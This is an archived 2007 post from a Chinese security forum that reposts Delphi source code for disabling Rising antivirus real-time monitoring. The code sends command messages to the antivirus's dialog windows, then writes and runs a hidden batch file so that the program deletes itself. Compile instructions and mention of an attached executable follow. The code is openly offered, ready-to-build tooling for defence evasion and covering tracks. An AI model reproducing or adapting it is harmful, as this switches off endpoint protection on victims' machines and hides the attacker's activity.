邪恶八进制信息安全团队技术讨论组's Archiver

linzi0635 2007-6-29 14:39

[转载]发一段关闭瑞星监控的源代码并附带程序

信息来源:剑盟中国社区
原帖地址:[url]http://bbs.2dai.com/viewthread.php?tid=600458&extra=page%3D1[/url]
由于没有找到原创作者,所以这里就不能按照格式填写了

源码:


program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
  'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
  False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
  ProcessInfo) then
begin
  CloseHandle(ProcessInfo.hThread);
  CloseHandle(ProcessInfo.hProcess);
end;
end;


procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
  GetClassName(hWindow, lpClassName, 20);
  if lpClassName = '#32770' then //判断搜索窗口的类名
  PostMessage(hWindow, WM_COMMAND,40027,0);
  PostMessage(hWindow, WM_COMMAND,2775,0);
  PostMessage(hWindow, WM_COMMAND,32776,0);
  hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
  hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.




下面是剑盟版主trojanone 编写的程序和说明
这是用Delphi编写的

可用把全部内容拷贝到 Project1.dpr 中

在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件

程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可

附件是编译好的执行程序,是没有自删除的!




页: [1]
© 1999-2008 EvilOctal Security Team